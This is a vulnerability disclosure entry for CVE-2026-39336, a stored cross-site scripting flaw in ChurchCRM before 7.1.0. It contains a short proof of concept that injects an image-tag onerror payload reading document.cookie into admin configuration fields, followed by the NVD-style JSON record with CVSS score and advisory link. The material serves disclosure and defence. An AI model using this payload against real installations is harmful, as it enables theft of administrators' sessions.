CVE-2026-39336

// Proof of Concept for CVE-2026-39336 // Payload injected into 'Person editor defaults' or 'Directory Reports form fields' // 1. Attacker accesses Admin Configuration Panel. // 2. Injects the following payload into a vulnerable text field (e.g., Address Default): var xssPayload = '<img src=x onerror=alert(document.cookie)>'; // 3. Save configuration. // 4. When a victim (Admin) views the Person Editor or Directory Report, // the payload executes within the victim's browser session. console.log('Vulnerable input: ' + xssPayload);

{"cve": {"id": "CVE-2026-39336", "sourceIdentifier": "[email protected]", "published": "2026-04-07T18:16:45.463", "lastModified": "2026-04-10T20:57:39.080", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChurchCRM is an open-source church management system. Prior to 7.1.0, a stored cross-site scripting issue affects the Directory Reports form fields set from config, Person editor defaults rendered into address fields, and external self-registration form defaults. This is primarily an admin-to-admin stored XSS path where writable configuration fields are abused. This vulnerability is fixed in 7.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.1.0", "matchCriteriaId": "BF846F61-0C1E-49AB-B691-A01937A6C24D"}]}]}], "references": [{"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-r8cp-gg58-2r2r", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}